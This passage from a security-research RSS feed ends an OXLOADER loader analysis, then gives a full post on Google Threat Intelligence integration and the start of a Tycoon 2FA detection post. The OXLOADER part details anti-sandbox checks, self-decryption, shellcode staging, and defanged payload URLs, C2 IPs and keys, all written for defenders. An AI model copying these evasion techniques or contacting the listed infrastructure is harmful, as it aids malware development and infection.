<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image26.png" alt="Elastic Defend alerts triggered upon script execution" title="Elastic Defend alerts triggered upon script execution" /></p>
<p>The following is the execution graph of the attack chain from payload download to <code>CASTLESTEALER</code> deployment.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image4.png" alt="Infection chain" title="Infection chain" /></p>
<h1>OXLOADER malware loader: technical analysis</h1>
<p>The first OXLOADER sample our team analyzed masquerades as the popular tool, <a href="http://www.rohitab.com/apimonitor">API Monitor</a> from <a href="http://rohitab.com">rohitab.com</a>. Due to the heavy presence of legitimate code and code-hiding techniques, this loader is able to fly under the radar against static file analyzers.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image23.png" alt="VirusTotal showing small number of detections" title="VirusTotal showing small number of detections" /></p>
<h2>How OXLOADER unpacks itself at runtime</h2>
<p>The malware begins executing during the CRT initializer phase, before any user code is run. The CRT function <code>cinit()</code> invokes <code>initterm()</code>, which walks the C++ initializer table (<code>__xc_a</code> → <code>__xc_z</code>) calling each entry. The malware developer has hijacked one of these entries, pointing to a function that makes a <code>RegisterClipboardFormatW()</code> call before tail-jumping into the first decryption stub.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image25.png" alt="Malicious code started through CRT initialization" title="Malicious code started through CRT initialization" /></p>
<p>The loader uses self-modifying techniques with several decryption stubs to unroll itself. Below is an example of a decryption stub being patched in during runtime, before jumping to it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image2.png" alt="Small decryption stub patched in" title="Small decryption stub patched in" /></p>
<p>After the patching has taken place, the loader decrypts a 28,233-byte region. Each byte is decrypted with a single-byte XOR key that updates after every iteration: the just-decrypted plaintext byte is added to the key, which is then used to decrypt the next byte. This similar decryption routine runs three times in total, each over a different region.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image28.png" alt="Rolling-XOR decryption of next-stage code" title="Rolling-XOR decryption of next-stage code" /></p>
<h2>Obfuscation techniques used to evade static detection</h2>
<p>OXLOADER breaks automated function-boundary detection in binary analysis tooling such as IDA Pro using four layered obfuscation techniques: control-flow flattening (CFF), mixed Boolean-Arithmetic (MBA), opaque predicates, and function chunking across non-contiguous code regions. Functions are stitched together with unconditional jumps, and some regions are reached through indirect jumps whose target addresses are computed at runtime via MBA arithmetic. The result is that IDA Pro cannot reliably reconstruct function boundaries, requiring manual fixes.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image17.png" alt="Control-flow flattening with nested MBA arithmetic example" title="Control-flow flattening with nested MBA arithmetic example" /></p>
<p>The loader decrypts various strings at runtime using the following string decryption algorithm:</p>
<pre><code class="language-cpp">uint32_t obf_xor_a1_with_a2_plus_33FDA(uint32_t a1, uint32_t a2) { 
return a1 ^ (a2 + 0x33FDA); 
} 
</code></pre>
<p>After the code is fully unpacked/decrypted, the malware combines this string decryption function with an Adler-32 API hashing <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/dualacc_modfff1.py">algorithm</a> to dynamically resolve its imports.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image13.png" alt="String decryption and API resolving" title="String decryption and API resolving" /></p>
<h2>How does OXLOADER evade sandbox and VM detection?</h2>
<p>After resolving its APIs, OXLOADER performs various checks to ensure the machine executes in a clean environment, avoiding execution in sandbox environments.</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Method</th>
<th align="left">Threshold</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Emulation</td>
<td align="left"><code>WNetAddConnection2W</code> with malformed resource</td>
<td align="left">Expects <code>ERROR_BAD_NAME</code> (0x43)</td>
</tr>
<tr>
<td align="left">CPU count</td>
<td align="left">Process environment check</td>
<td align="left">≥ 3 CPUs</td>
</tr>
<tr>
<td align="left">RAM</td>
<td align="left"><code>GlobalMemoryStatusEx</code></td>
<td align="left">≥ 3 GB physical memory</td>
</tr>
<tr>
<td align="left">Display refresh rate</td>
<td align="left">WMI <code>Win32_VideoController</code> query</td>
<td align="left">≥ 20 Hz</td>
</tr>
<tr>
<td align="left">Geographic region</td>
<td align="left"><code>GetUserGeoID</code></td>
<td align="left">Excludes CIS GEOIDs</td>
</tr>
</tbody>
</table>
<p>The first check attempts to connect to a deliberately malformed network resource (<code>*72s@1s</code>) using <code>mpr!WNetAddConnection2W</code>. This technique appears to defeat emulation/sandboxes that may hook or return a successful connection unconditionally. The malware developer verifies this call by accessing the TEB directly to retrieve the <code>LastErrorValue</code>. The loader expects this error code to be <code>ERROR_BAD_NAME (0x43)</code>, if the error code is anything other than this value, the malware takes the failure branch and stops execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image20.png" alt="Emulation check via WNetAddConnection2W" title="Emulation check via WNetAddConnection2W" /></p>
<p>The second check is an anti-sandbox test based on the processor count: the loader requires the host to have at least 3 CPUs to continue. Many sandboxes and analysis VMs are provisioned with one or two CPUs to conserve resources, so this threshold filters out these automated analysis environments.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image15.png" alt="Anti-sandbox check using CPU count" title="Anti-sandbox check using CPU count" /></p>
<p>The next check uses <code>GlobalMemoryStatusEx()</code> to verify that the host has at least 3 GB of available physical memory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image6.png" alt="Anti-sandbox check based on RAM" title="Anti-sandbox check based on RAM" /></p>
<p>A further check uses WMI to query the system display's refresh rate, executing the WQL statement <code>SELECT CurrentRefreshRate FROM Win32_VideoController</code> and comparing the returned value (in Hertz) against a threshold of 20. Physical monitors usually report around 60 Hz or higher, while headless and default-virtualized configurations typically report 0 or 1, and values below 20 cause the loader to abort.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image24.png" alt="Anti-sandbox check based on refresh rate" title="Anti-sandbox check based on refresh rate" /></p>
<h2>Geographic and language exclusions</h2>
<p>The final two checks halt execution if the host is located in a <a href="https://en.wikipedia.org/wiki/Commonwealth_of_Independent_States">CIS</a> country or configured for the Russian language. The first check in this category uses <code>GetUserGeoID</code> to retrieve the system’s geographic region and compares it against a hardcoded list of CIS country GEOIDs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image29.png" alt="CIS country exclusion list" title="CIS country exclusion list" /></p>
<p>The second check uses <code>GetUserDefaultUILanguage</code> and matches against LANGID (<code>0x419 - Russian, Russia</code>), the standard configuration for a Russian language Windows installation.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image7.png" alt="Russian language exclusion" title="Russian language exclusion" /></p>
<h2>Shellcode staging via .reloc section and OCX file</h2>
<p>After all the checks have passed, the malware makes a copy of the Windows DirectUI Engine DLL (<code>C:\Windows\System32\dui70.dll</code>), storing it in a temporary location using a randomly generated name with the <code>.ocx</code> extension (<code>PFHemkxVk.ocx</code>). This extension choice inspired the OXLOADER family name.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image21.png" alt="Newly dropped DLL copied from dui70.dll" title="Newly dropped DLL copied from dui70.dll" /></p>
<p>OXLOADER then creates a new section named (<code>.xtext</code>) in this target DLL (<code>PFHemkxVk.ocx</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image14.png" alt="New section highlighted via PE Bear" title="New section highlighted via PE Bear" /></p>
<p>This new section (<code>.xtext</code>) is configured with RWX (read/write/execute) protections in preparation to store and execute the next stage of the malicious code.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image5.png" alt="PE Bear showing newly added section with characteristics" title="PE Bear showing newly added section with characteristics" /></p>
<p>This updated DLL (<code>PFHemkxVk.ocx</code>) is then loaded into the existing loader process via <code>LoadLibraryA</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image12.png" alt="Process Hacker showing new loaded module" title="Process Hacker showing new loaded module" /></p>
<p>In a normal Windows executable, the <code>.reloc</code> section contains a table of <code>IMAGE_BASE_RELOCATION</code> blocks that the Windows loader applies to patch absolute addresses when the image is loaded at an address other than its preferred base. In this sample, the malware developer is using<br />
the <code>.reloc</code> section to house malicious code instead of the base relocation entries. This is a strong static-analysis red flag: legitimate toolchains do not emit code into the <code>.reloc</code> section.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image3.png" alt="PE-bear showing code/instructions inside .reloc section" title="PE-bear showing code/instructions inside .reloc section" /></p>
<p>This shellcode from the <code>.reloc</code> section is then copied to the newly created section (<code>.xtext</code>) in the OCX file, and the loader then calls this code.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image19.png" alt="Shellcode copied from .reloc section" title="Shellcode copied from .reloc section" /></p>
<p>As observed previously, there is another decryption stub used to unpack this next stage.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image10.png" alt="Self-modifying instructions from .xtext section" title="Self-modifying instructions from .xtext section" /></p>
<h2>In-memory infostealer delivery via DonutLoader and .NET assembly</h2>
<p>This next-stage shellcode is a payload configured from <a href="https://github.com/TheWover/donut">DonutLoader</a>, an open-source shellcode generator used to wrap .NET assemblies, DLLs, and EXEs into position-independent shellcode (PIC) for in-memory execution. During unpacking, the shellcode decrypts the loader's embedded configuration and execution context using the Chaskey-LTS block cipher in CTR mode with the key (<code>6E0A1F8F77F7011561F6F9CA96B71B8F</code>) and IV (<code>956C6128E9362E075F8D006C93616A66</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image8.png" alt="DonutLoader shellcode after decryption" title="DonutLoader shellcode after decryption" /></p>
<p>After the decryption, the payload is decompressed via aPLib then bootstrapped through DonutLoader’s <code>RunPE()</code> <a href="https://github.com/TheWover/donut/blob/47758d787209dd1744f58c140102ac91b649df16/loader/inmem_pe.c#L57">function</a>. The final payload is a newly discovered information stealer by <a href="https://www.huntress.com/blog/clickfix-castleloader-backgroundfix">Huntress</a> called CASTLESTEALER. This attribution is based on the same AES key used for C2 communications found between <code>0xDEADBEEF</code> markers in a previous <a href="https://www.virustotal.com/gui/file/ed391a16389234f9ebb6727711baaf3e068d7f77c465708fa3e8b7d0565d7fb9">sample</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image16.png" alt="Same AES key used in CASTLESTEALER sample" title="Same AES key used in CASTLESTEALER sample" /></p>
<h2>Second OXLOADER variant: same loader, different masqueraded program</h2>
<p>A second OXLOADER variant masquerades as a Node.js installer rather than API Monitor, but uses the identical loader mechanism.</p>
<p>On May 13, 2026, we discovered that the redirector endpoint <code>app.miloyannopoulos[.]com/download</code> responded with one of two <code>Location</code> header fields, chosen at random:</p>
<ul>
<li><code>https://link.storjshare[.]io/raw/jv5uebuqwzfpmtahj34q753ptykq/node/BATPackageBulderSetup.bat</code></li>
<li><code>https://link.storjshare[.]io/raw/jvsmdybqmvwep2oawbobp6ub7aza/node/node-v24.15.0-x64-86.exe</code></li>
</ul>
<p>The Batch installation script (<code>BATPackageBulderSetup.bat</code>, with a typo for “Builder”) remained mostly identical. The only difference was that the Storj payload link now pointed to a different binary named <code>node-v24.15.0-x64-86.exe</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image9.png" alt="Batch script with a different embedded link pointing to OXLOADER" title="Batch script with a different embedded link pointing to OXLOADER" /></p>
<p>The payload attempts to masquerade itself as benign CMake code while retaining “node” in the filename, likely to keep the lure theme intact. We believe the earlier “API Monitor” sample was likely a distribution error by the operator.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image22.png" alt="VirusTotal with small amounts of detection" title="VirusTotal with small amounts of detection" /></p>
<p>Upon execution, we noticed the same pattern: indirect jumps used for in-memory self-decryption, followed by the loading of <code>mpr.dll</code> and a call to <code>WNetAddConnection2W</code>. We confirmed that it is the identical loader mechanism discussed previously, and this sample also loads <code>CASTLESTEALER</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image27.png" alt="Loader behavior caught through a TinyTracer run" title="Loader behavior caught through a TinyTracer run" /></p>
<p>Below is a snippet where the self-decryption occurs. Dummy CMake-related strings appear to be passed as arguments to a function call, which patches a small decryption stub into memory immediately after the call site. Execution then jumps to the stub to decrypt subsequent instructions, and this process repeats 2 more times until the main malware body is decrypted.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image18.png" alt="Identical self-decryption mechanism as the first sample" title="Identical self-decryption mechanism as the first sample" /></p>
<h1>Conclusion: why defenders should track OXLOADER</h1>
<p>OXLOADER is in an early operational phase, but the engineering behind it suggests this family is worth watching. The code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis. That investment is paying off, resulting in low detection rates across static engines and detonation runs, giving OXLOADER a window to operate before it gets hunted down.</p>
<h2>REF8372 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1583/008/">Acquire Infrastructure: Malvertising</a></li>
<li><a href="https://attack.mitre.org/techniques/T1608/001/">Stage Capabilities: Upload Malware</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/013/">Obfuscated Files or Information: Encrypted/Encoded File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/009/">Obfuscated Files or Information: Embedded Payloads</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1614/001/">System Location Discovery: System Language Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
</ul>
<h2>Remediating REF8372</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_thread_context_manipulation.toml">Suspicious Thread Context Manipulation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_virtualalloc_api_call_from_an_unsigned_dll.toml">VirtualAlloc API Call from an Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_execution_from_suspicious_stack_trailing_bytes.toml">Execution from Suspicious Stack Trailing Bytes</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml">Microsoft Common Language Runtime Loaded from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_module_stomping_from_a_copied_library.toml">Module Stomping from a Copied Library</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_OxLoader.yar">Windows.Trojan.OxLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CastleStealer.yar">Windows.Trojan.CastleStealer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>node-js\[.\]prentiva99\[.\]info</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Malvertising landing page</td>
</tr>
<tr>
<td align="left"><code>app\[.\]miloyannopoulos\[.\]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Malvertising Redirector</td>
</tr>
<tr>
<td align="left"><code>fdfc7831e5c24cfa80152860dfe8c056ba079f7df1393bf6bb7b18ed974eda37</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>BATPackageBuilderSetup.bat</code></td>
<td align="left">OXLOADER downloader &amp; launcher</td>
</tr>
<tr>
<td align="left"><code>de4f51649ec1a33071854aefe93ffb3fc225e19f802d8dd914676dd5dfef2615</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>BATPackageBulderSetup.bat</code></td>
<td align="left">OXLOADER downloader &amp; launcher</td>
</tr>
<tr>
<td align="left"><code>9a9939dff297997732aaade9b243d695632cbd64033c5fbcb9de3d09b7e6c28d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>apimonitor-x64.exe</code></td>
<td align="left">OXLOADER</td>
</tr>
<tr>
<td align="left"><code>c85f2765a6c3c3f3907c17e57df12f8f68826f74bff3bbfd272af50666d065fe</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>node-v24.15.0-x64-86.exe</code></td>
<td align="left">OXLOADER</td>
</tr>
<tr>
<td align="left"><code>4ec9d9d4d10ad78fc6d7bda7cb17d52984878ccd2dd4302fd1cef152313b9741</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">CASTLESTEALER</td>
</tr>
<tr>
<td align="left"><code>39019279686c820c3af5684012a0085a7e2109f612c9fab886dd0577ace5b5c6</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">CASTLESTEALER</td>
</tr>
<tr>
<td align="left"><code>89.124.95\[.\]161</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">CASTLESTEALER C2</td>
</tr>
<tr>
<td align="left"><code>89.124.115\[.\]82</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">CASTLESTEALER C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/oxloader-malware-loader-infostealer.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[From API key to live threat detections in minutes: how Elastic Security ingests Google Threat Intelligence]]></title>
            <link>https://www.elastic.co/kr/security-labs/elastic-security-google-threat-intelligence</link>
            <guid>elastic-security-google-threat-intelligence</guid>
            <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Find out how Elastic Security ingests Google Threat Intelligence for continuous detection and uses AI-driven workflows to enrich alerts in real time, from API key to live detections in minutes.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security natively ingests Google Threat Intelligence: known-malicious IPs, domains, URLs, and file hashes matched against your telemetry the moment they appear, each carrying a verdict and a 0–100 threat score. The setup consists of an API key and two data streams, with no extra infrastructure. When an indicator is ambiguous, workflows built on Agent Builder query VirusTotal in real time, enrich the alert, correlate with your telemetry, and summarize findings in real time.</p>
<h2>How threat intelligence works in Elastic Security</h2>
<p>In modern security operations, threat intelligence must work across detection, investigation, and response, not sit in a reference table.</p>
<p>Elastic Security supports this in two ways. Ingested intelligence via <a href="https://www.elastic.co/kr/docs/reference/integrations/threat-intelligence-intro">integrations</a> drives continuous detection and historical hunting. Agentic workflows, built on Elastic Workflows and Agent Builder, provide on-demand enrichment and investigative reasoning during an active investigation. This post focuses on how Elastic's Google Threat Intelligence (GTI) integration powers ingestion-based detection and hunting, and how it fits into a broader, more dynamic SOC model where AI-driven workflows use that intelligence at alert time.</p>
<h2>What Google Threat Intelligence provides</h2>
<p>The Google Threat Intelligence integration brings curated threat intelligence directly into Elastic Security, making it actionable across detection and investigation. GTI combines intelligence from Google's global security visibility with VirusTotal data to deliver enriched context on indicators of compromise, with coverage across malware, ransomware, phishing, infostealers, malicious infrastructure, threat actors, and other adversary activity.</p>
<p>Each indicator is returned with: a verdict (Malicious, Suspicious, or Undetected), a severity, and a composite threat score from 0–100. Because that score is derived from multiple signals, security teams can prioritize indicators based on confidence rather than their presence alone.</p>
<h2>How the Google Threat Intelligence integration works in Elastic Security</h2>
<p>Setup takes only a few minutes. You provide your GTI API key in the Elastic integration, and ingestion begins on a scheduled polling interval, with no additional infrastructure or collectors required. The integration ingests two primary data streams.</p>
<table>
<thead>
<tr>
<th>Purpose</th>
<th>Threat List</th>
<th>IOC Stream</th>
</tr>
</thead>
<tbody>
<tr>
<td>Purpose</td>
<td>High-confidence detection</td>
<td>Threat hunting + early visibility</td>
</tr>
<tr>
<td>Volume</td>
<td>Curated, lower volume</td>
<td>Broader, higher volume</td>
</tr>
<tr>
<td>Best for</td>
<td>Precision-critical alerting</td>
<td>Emerging and exploratory activity</td>
</tr>
</tbody>
</table>
<p>As data is ingested, indicators are standardized using the Elastic Common Schema (ECS), along with GTI context, such as verdict, severity, score, malware families, threat actor associations, and campaign metadata (where available). This enables GTI to be searched and correlated consistently alongside other ECS-compliant intelligence sources (including TAXII feeds), custom intelligence, and the broader security telemetry already present in Elastic Security. Elastic also manages indicator lifecycle automatically, including expiration and revocation, which reduces matches against stale intelligence. Once ingested, GTI indicators become part of the same searchable dataset as logs, endpoint, and cloud telemetry, enabling unified correlation across the environment.</p>
<h2>Using Google Threat Intelligence for indicator match detections</h2>
<p>Elastic's <a href="https://www.elastic.co/kr/docs/solutions/security/detect-and-alert/indicator-match">indicator match rules</a> use GTI data to detect when known malicious IPs, domains, URLs, or file hashes appear in security telemetry, continuously correlating intelligence against observed activity and surfacing matches for investigation. Because GTI provides structured fields such as score, verdict, and severity, teams can tune detections by confidence: high-confidence indicators can trigger immediate escalation, while lower-confidence indicators can be routed for review or further validation.</p>
<h2>Threat hunting with GTI indicators in Elastic Security</h2>
<p>With GTI metadata, analysts can pivot from a single IOC to all associated infrastructure and search historical telemetry; not just check if an indicator appeared, but understand what campaign it belongs to.</p>
<p>GTI enriches indicators with metadata such as threat actor associations and malware family context, allowing analysts to move beyond single-IOC searches. Hunters can pivot from an adversary or campaign to all associated indicators (IPs, domains, and file hashes) and search across historical telemetry using ES|QL. This makes it straightforward to determine whether known malicious infrastructure has ever interacted with the environment.</p>
<h2>Monitoring threat intelligence activity with GTI dashboards</h2>
<p>The integration includes prebuilt dashboards that provide visibility into threat intelligence activity and the detections GTI drives. Using saved searches and aggregated metrics, these dashboards summarize observed threats across malware families, campaigns, threat actors, toolkits, and vulnerabilities, helping SOC teams understand which threat types are most active in their environment and how intelligence is being operationalized.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-security-google-threat-intelligence/image1.png" alt="Elastic Security’s Google Threat Intelligence Adversary Intelligence dashboard" /></p>
<h3>Google Threat Intelligence feed categories and coverage</h3>
<p>GTI includes 14 categorized feed categories, so organizations can tailor coverage to their needs and subscription level. Supported categories include:</p>
<ul>
<li>Cryptominers</li>
<li>Trending threats</li>
<li>Initial access and delivery vectors</li>
<li>Infostealers</li>
<li>IoT threats</li>
<li>Linux malware</li>
<li>Malicious infrastructure</li>
<li>General malware</li>
<li>Mobile threats</li>
<li>macOS threats</li>
<li>Phishing</li>
<li>Ransomware</li>
<li>Threat actors</li>
<li>Vulnerability exploitation and weaponization</li>
</ul>
<p>Availability depends on your Google Threat Intelligence subscription tier, and additional feeds can be enabled without changes to the Elastic configuration.</p>
<h2>Agentic enrichment and real-time triage with Elastic Workflows</h2>
<p>For ambiguous or emerging indicators not yet in an indexed feed, Elastic Security supports AI-driven investigation through Agent Builder and Elastic Workflows, which complement intelligence ingestion by enabling real-time enrichment and reasoning during an investigation.</p>
<p>With workflows, an analyst is no longer limited to the intelligence already in the index. During alert triage, a workflow can query external intelligence and reputation services such as VirusTotal in real time, enrich an alert with fresh context about the IPs, domains, or file hashes involved, correlate that live intelligence against Elastic telemetry, and summarize the findings into a structured investigation context that the analyst can act on. Agent Builder extends this further: teams can compose reusable, task-specific capabilities, such as agent skills for alert triage, enrichment, or case handling, so the assistant executes multi-step investigative tasks with the consistency of traditional automation, through a natural-language interface.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-security-google-threat-intelligence/image3.png" alt="Elastic Workflows editor showing the &quot;Send Hash to VirusTotal&quot; workflow" /></p>
<p>This introduces a complementary model. Ingested intelligence (GTI, TAXII, and custom feeds) provides continuous detection and historical hunting against indicators you already hold. Agentic workflows provide on-demand enrichment and investigative reasoning at alert time, reaching out to live sources and assembling context on the fly. Together, they enable teams to detect known threats at scale and provide context to investigations.</p>
<h2>Getting started with Google Threat Intelligence in Elastic Security</h2>
<p>To use the <a href="https://www.elastic.co/kr/docs/reference/integrations/ti_google_threat_intelligence">Google Threat Intelligence integration</a> in Elastic Security, you need an active GTI license and API key.</p>
<ol>
<li><strong>Install:</strong> open Integrations catalog in Kibana → search &quot;Google Threat Intelligence&quot; → add integration → enter your API key</li>
<li><strong>Configure the data streams:</strong> enable Threat List (high-confidence detections) and IOC Stream (hunting coverage) → set polling frequency to match API limits and operational needs</li>
<li><strong>Tune:</strong> prebuilt indicator match rules activate automatically; if alert volume is high, start by filtering on confidence threshold</li>
</ol>
<p>All indicators are stored in Elasticsearch and accessible through the GTI threat intelligence data view, enabling search, correlation, and custom detection logic. Full configuration details and troubleshooting guidance are available in the official documentation.</p>
<h2>Tying it all together</h2>
<p>Threat intelligence only matters if a team can act on it. By bringing Google Threat Intelligence into Elastic Security, SOC teams get ingestion-based detection running continuously across their telemetry and agent-driven investigation reasoning over that intelligence in real time. The combination lets threat intelligence operate continuously and contextually, helping analysts move from indicators to confident decisions faster.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/elastic-security-google-threat-intelligence/image2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Detecting Tycoon 2FA AiTM attacks across Entra ID and Google Workspace]]></title>
            <link>https://www.elastic.co/kr/security-labs/tycoon-2fa-aitm-detection-engineering</link>
            <guid>tycoon-2fa-aitm-detection-engineering</guid>
            <pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tycoon 2FA bypasses MFA on Entra ID and Google Workspace. We map telemetry fingerprints across both platforms, ship detection rules for both tiers, and contain incidents in under 10 seconds with Elastic Workflows.]]></description>
            <content:encoded><![CDATA[<p>Tycoon 2FA is currently the most prolific Phishing-as-a-Service (PhaaS) platform among AiTM phishing kits. First observed in August 2023 and attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/storm-1747">Storm-1747</a> (per Microsoft Threat Intelligence), the kit provides turnkey adversary-in-the-middle (AiTM) capabilities that bypass multi-factor authentication and steal authenticated session tokens from Microsoft 365 and Google Workspace accounts. At its peak, Tycoon 2FA <a href="https://blogs.microsoft.com/on-the-issues/2026/03/04/how-a-global-coalition-disrupted-tycoon/">accounted</a> for roughly 62% of phishing attempts blocked by Microsoft, reaching over 500,000 organizations monthly.</p>
